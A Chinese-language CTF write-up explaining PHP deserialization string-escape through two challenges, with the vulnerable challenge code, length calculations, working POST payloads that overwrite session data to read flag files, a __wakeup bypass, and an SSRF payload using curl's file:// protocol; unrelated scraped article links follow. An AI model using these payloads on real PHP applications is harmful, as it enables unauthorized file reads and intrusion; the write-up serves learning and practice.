两道题浅析PHP反序列化逃逸

一、介绍

  • 反序列化逃逸的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。

  • 反序列化逃逸题一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为filter后字符串加长以及字符串变短两种情况,这两种情况有着不同的处理方式。

    • 例如这段代码:

      <?php
      
      function filter($img){
      $filter_arr = array('php','flag','php5','php4','fl1g');
      $filter = '/'.implode('|',$filter_arr).'/i';
      return preg_replace($filter,'',$img);
      } $ab=array('user'=>'flagflagflag','1'=>'1');
      echo filter(serialize($ab)); ?>

      本来反序列化的结果为:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}

      但是因为敏感字符串替换变成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}

      这样在反序列化时,就导致了原先的键值flagflagflag被现在的12个字符";i:1;s:1:"1替换了。导致函数误以为键user的值为";i:1;s:1:"1

      但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;i:1;s:1:"1"应该是i:1;s:13:"1";i:2;s:1:"2",即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}

    • 下面通过两道题实际应用一下该漏洞。

二、【安洵杯 2019】easy_serialize_php

2.1 收获

  • php反序列化逃逸
  • 数组变量覆盖
  • POST请求体传递数组

2.2 分析

  • 代码:

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
    } if($_SESSION){
    unset($_SESSION);
    } $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function; extract($_POST); if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
    } if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){
    highlight_file('index.php');
    }else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
    }

    分析代码,首先filter函数实现了一个替换字符串中敏感字符为空的操作。

    然后对$__SESSION进行了设置,但是下面出现了一个extract($_POST);。在Php中extract函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了user键的内容,但是如果POST变量中不存在user键,那么更新后的$__SESSION中则不包含user键。

    下面又进行了img键值的设置,并将序列化后的字符串传入filter中进行过滤。

  • 思路

    首先肯定是需要查看phpinfo()中的文件;然后应该是通过更改$__SESSION数组实现反序列化读文件。

3.3 利用

  • 访问Phpinfo:

    得到了一个提示,包含了d0g3_f1ag.php文件。说明我们需要访问这个php文件。

  • 读文件:

    当我们GET请求中设置img_path变量时,势必会触发sha1函数,这样我们无法读取正常的路径;但是不设置img_path更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过filter函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢?

  • payload

    在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。

    首先f的值需要为show_image;其次我们需要覆盖img键对应的值为d0g3_f1ag.php的编码值:ZDBnM19mMWFnLnBocA==。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img,我们在字符串后面还要加一个类。

    _SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}

    其过滤后的序列化结果为:

    原本的红线部分作为了现在func键的值。

  • 抓包:

    注意_SESSION数组修改方式不包含$符号与引号(不要按照Php格式写就行,这里笨了)。

  • 继续:

    说明要继续读取:/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn

    payload:

    _SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}

三、Bugku newphp

3.1 收获

  • php反序列化逃逸
  • __wakeup函数绕过

3.2 分析

题目代码:

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__); class evil{
public $hint; public function __construct($hint){
$this->hint = $hint;
} public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
} function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
} class User
{
public $username;
public $password; public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
} } function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
} function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
} $tmp = "test";
$username = $_POST['username'];
$password = $_POST['password']; $a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!"); unserialize(read(write($a)));
  • 首先为了能够访问hint.php,我们需要绕过__wakeup()函数,不然hint变量会被赋值为表情符号。

    • 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行__wakeup()
    • 正常的evil类序列化后为:O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},这里只有一个属性。我们将其改为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
  • 其次,为了反序列化后的结果为evil类,需要进行反序列化逃逸,因为无法使用username=new evil()然后在User类的__construct()函数创建evil类的办法。

    • 我们需要使得User中的username或者password属性为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

    • 分析write()read()函数可以发现,chr(0)对应的是空字符,一般我们提供的字符串中不会包含空字符;但是我们可以让字符串中包含\0\0\0从而在read()函数中实现替换,使得字符串变短一半。这里需要注意chr(0)虽然是空字符串,但是其也占了一个长度,所以从'\0\0\0'到chr(0).*.chr(0)其实是字符串缩短了一半。

    • 正常的User类序列化之后为O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}。如果我们让username中包含许多\0,从而字符串变短后吞掉后面的"s:8:"password";s:4:"共21个字符串,但是同时因为我们的payload最后肯定是大于10的,所以password后面的s:4应该是两位数而不是4,所以总共需要吞掉22个字符。

    • 量子力学计算一下,我们需要24个\0,并且password中增加一写字符串,才能实现覆盖22个字符串。

    • 测试:

      <?php
      class evil{
      public $hint; function __wakeup() {
      echo $this->hint;
      }
      }
      class User
      {
      public $username;
      public $password; public function __construct(){
      $this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
      $this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
      } }
      $a=new User();
      echo serialize($a);
      echo ' ';
      function write($data){
      global $tmp;
      $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
      $tmp = $data;
      } function read(){
      global $tmp;
      $data = $tmp;
      $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
      return $r;
      }
      echo read(write(serialize($a)));
      unserialize(read(write(serialize($a))))
      ?>

      这样会直接输出字符串hint.php。实际为了躲避__wakeup函数,evil的类变量需要设置为2。

3.3 反序列化逃逸

payload:

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}

3.4 SSRF

得到base64字符串解码:

<?php
$hint = "index.cgi";
// You can't see me~

直接访问后得到:

{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" }

说明网站是向http://httpbin.org发送了一个请求,那这里就需要SSRF。

这里我们可以向其传参name参数,并且Agent里面提示了,其使用的是curl进行发送请求。

所以为了读取flag,我们要使用file协议,但是这里是向http://httpbin.org发送请求。这里使用空格截断,这样在curl同时可以实现向两个url发送请求(可以在本地命令行测试curl的用法)

payload:

?name= file:///flag

注意name后的空格。

总结

  • 对于反序列化逃逸题目首先要看有没有序列化后的字符串替换,如果存在,可以说题目基本上是在考察该知识点。
  • 分析替换方式。
    • 缩短类型:基本上是靠前一个属性包含的字符串被缩短后,吞吃后一个属性;同时在后一个属性中存放需要利用的属性即可。
    • 变长类型:这个后续如果遇到相关题目会进行补充。

参考链接

PHP反序列化字符逃逸详解

如有错误敬请指正!

两道题浅析PHP反序列化逃逸的更多相关文章

  1. CTF反序列化逃逸

    刷了一下CTF反序列化的题,去年没有好好了解.又补了一次PHP,害太菜了.每天看看别人的博客真的可以鼓舞人.简单记录一下两道字符串逃逸问题 推荐一个反序列化总结的很好的笔记https://www.cn ...

  2. php封装协议的两道题

    这几天终于刷完了自己说是要刷完的那几道题,赶紧写几篇博客记录.. 1.  先看看这个网站:https://blog.csdn.net/qq_41289254/article/details/81388 ...

  3. Codeforces 460 DE 两道题

    D Little Victor and Set 题目链接 构造的好题.表示是看了题解才会做的. 假如[l,r]长度不超过4,直接暴力就行了. 假如[l,r]长度大于等于5,那么如果k = 1,显然答案 ...

  4. 小测(noip2005的两道题) 2017.3.3

    过河 题目描述 Description 在河上有一座独木桥,一只青蛙想沿着独木桥从河的一侧跳到另一侧.在桥上有一些石子,青蛙很讨厌踩在这些石子上.由于桥的长度和青蛙一次跳过的距离都是正整数,我们可以把 ...

  5. 一道题浅析 i++,++i,i+1及(引用)&i的区别

    我们可能很清楚i++,++i和i+1级&i的概念,但在实际运用中我们就有可能很容易搞混淆.特别是在递归中区别它们就显得尤为重要了.那首先我们先看一段利用递归逆序字符串的代码,你能回答出这段代码 ...

  6. 从两道题看go channel的用法

    在知乎看到有人分享了几道笔试题,自己总结了一下其中与channel有关的题目.全部题目在这里: https://zhuanlan.zhihu.com/p/35058068 题目 5.请找出下面代码的问 ...

  7. 浅析PHP反序列化漏洞之PHP常见魔术方法(一)

    作为一个学习web安全的菜鸟,前段时间被人问到PHP反序列化相关的问题,以前的博客中是有这样一篇反序列化漏洞的利用文章的.但是好久过去了,好多的东西已经记得不是很清楚.所以这里尽可能写一篇详细点的文章 ...

  8. Dfs学习经验(纸上运行理解DFS)【两道题】

    首先我想吐槽的是,在CSDN上搞了好久还是不能发博客,就是点下发表丝毫反应都没有的,我稍微百度了几次还是没有找到解决方法,在CSDN的BBS上也求助过管理员但是没有收到答复真是烦躁,导致我新生入学以来 ...

  9. drf-day5——反序列化类校验部分源码分析、断言、drf请求、drf响应、视图组件及两个视图基类、基于GenericAPIView+5个视图扩展类

    目录 一.反序列化类校验部分源码解析(了解) 二.断言 三.drf之请求 3.1 Request能够解析的前端传入的编码格式 3.2 Request类有哪些属性和方法(学过) 常用参数 Respons ...

  10. [0CTF 2016]piapiapia(反序列逃逸)

    我尝试了几种payload,发现有两种情况. 第一种:Invalid user name 第二种:Invalid user name or password 第一步想到的是盲注或者报错,因为fuzz一 ...

随机推荐

  1. Java不能操作内存?Unsafe了解一下

    前言 C++可以动态的分类内存(但是得主动释放内存,避免内存泄漏),而java并不能这样,java的内存分配和垃圾回收统一由JVM管理,是不是java就不能操作内存呢?当然有其他办法可以操作内存,接下 ...

  2. 可实现自动驾驶的飞机大战(C++)

    PS:觉得可以的uu帮忙点个star啦,最近在找工作,希望star多一点能写到简历上 B站演示视频: 基于C++实现的可自动驾驶的飞机大战_单机游戏热门视频 (bilibili.com) Github ...

  3. P4327题解

    思路 分组计算 以下图为例: ..#.. .#.. .*.. .#.. .#.#. #.#. *.*. #.#. #.X.# .X.* .X.* .X.# .#.#. #.#. *.*. #.#. . ...

  4. 20230919 .NET面经

    SQL IQuerable 和 IEnumerable 的主要区别? https://stackoverflow.com/questions/252785/what-is-the-difference ...

  5. Vue Vuex状态管理

    1.1 理解 Vuex 1.1.1 Vuex 是什么 概念:专门在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 Vue 应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组 ...

  6. redis基本数据类型 string

    string类型 1.SET:添加或者修改已经存在的一个String类型的键值对 2.GET:根据key获取String类型的value 3.MSET:批量添加多个String类型的键值对 4.MGE ...

  7. 23年9月最新微信小程序 手机号授权 (uniapp+盛派SDK) 帮你踩坑

    一.背景 微信小程序手机号授权接口,从23年8月开始实行付费验证. 文档地址:https://developers.weixin.qq.com/miniprogram/dev/framework/op ...

  8. 前端三件套系例之JS——JavaScript基础、JavaScript基本数据类型、JavaScript函数

    文章目录 1 JavaScript基础 1.JavaScript是什么 2.JavaScript介绍 2-1 ECMAScript和JavaScript的关系 2-2 ECMAScript的历史 3. ...

  9. Ubuntu更新软件的命令

    更新软件源 apt-get update 更新升级所有软件 apt-get upgrade 更新某个软件 apt-get upgrade 名 列出可更新的软件 apt list --upgradabl ...

  10. android图片缩放双击旋转效果

    需要jar源码的请留言吧. 部分源码    demo下载地址 package uk.co.senab.photoview.sample; import android.app.ListActivity ...